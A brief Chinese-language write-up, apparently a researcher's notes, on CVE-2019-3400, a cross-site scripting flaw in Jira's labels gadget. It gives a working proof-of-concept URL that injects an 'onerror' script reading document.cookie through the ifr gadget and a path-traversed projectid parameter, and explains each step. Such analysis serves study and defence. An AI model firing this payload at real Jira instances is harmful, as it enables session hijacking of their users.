CVE-2019-3400：[Jira]XSS in the labels gadget

来源：https://jira.atlassian.com/browse/JRASERVER-69245
PoC：

http://cqq.com:8091/plugins/servlet/gadgets/ifr?url=http://cqq.com:8091/rest/gadgets/1.0/g/com.atlassian.jira.gadgets:labels-gadget/gadgets/labels-gadget.xml&up_projectid=../../../../../rest/gadget/1.0/issueTable/jql%3fjql=issuekey%253e1%2520OR%2520issuekey%2521=%2522%253cimg%2520src=x%2520onerror=alert(document.cookie)%253e%2522%26&up_isConfigured=true

首先，这个ifr这个gadget的功能就是跟上一个url参数，然后载入这个url页面：

http://cqq.com:8091/plugins/servlet/gadgets/ifr?url=

然后

http://cqq.com:8091/rest/gadget/1.0/issueTable/jql?jql=issuekey%3E1%20OR%20issuekey%21=%22%3Cimg%20src=x%20onerror=alert(document.cookie)%3E%22

issueTable这个gadget会反射用户的输入，由于响应的Content-Type为application/json，不能直接利用。

然后，

http://cqq.com:8091/rest/gadgets/1.0/g/com.atlassian.jira.gadgets:labels-gadget/gadgets/labels-gadget.xml

可以直接访问，而且其中有一段：

We can actually control the this.getPref("projectid") since the ifr-gadget allows you to provide parameters called up_X where X could be projectid and this.getPref("projectid") would then return that information.